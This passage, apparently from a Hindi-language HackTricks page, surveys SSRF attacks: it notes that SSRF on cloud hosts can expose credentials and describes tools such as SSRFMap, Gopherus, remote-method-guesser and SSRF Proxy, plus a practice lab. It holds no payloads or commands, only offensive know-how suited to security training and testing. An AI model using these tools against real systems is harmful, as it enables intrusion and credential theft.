यदि आप किसी machine में जो cloud environment के अंदर चल रही है SSRF vulnerability पाते हैं तो आप cloud environment के बारे में रोचक जानकारी और यहाँ तक कि credentials भी प्राप्त कर सकते हैं:

Cloud SSRF

SSRF Vulnerable Platforms

कई ज्ञात platforms में SSRF vulnerabilities पाई गई हैं या थीं, इन्हें यहाँ जांचें:

SSRF Vulnerable Platforms

Tools

SSRFMap

Tool to detect and exploit SSRF vulnerabilities

Gopherus

यह tool Gopher payloads जनरेट करता है:

  • MySQL
  • PostgreSQL
  • FastCGI
  • Redis
  • Zabbix
  • Memcache

remote-method-guesser

remote-method-guesser एक Java RMI vulnerability scanner है जो अधिकांश सामान्य Java RMI कमजोरियों के लिए attack operations का समर्थन करता है। उपलब्ध operations में से अधिकांश --ssrf विकल्प का समर्थन करते हैं, जो अनुरोधित operation के लिए एक SSRF payload जनरेट करने के लिए है। --gopher विकल्प के साथ मिलकर, उपयोग के लिए तैयार gopher payloads सीधे जनरेट किए जा सकते हैं।

SSRF Proxy

SSRF Proxy एक multi-threaded HTTP proxy server है जिसे उन HTTP servers के माध्यम से client HTTP traffic टनल करने के लिए डिज़ाइन किया गया है जो Server-Side Request Forgery (SSRF) के लिए vulnerable हैं।

To practice

GitHub - incredibleindishell/SSRF_Vulnerable_Lab: This Lab contain the sample codes which are vulnerable to Server-Side Request Forgery attack \xc2\xb7 GitHub

References

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें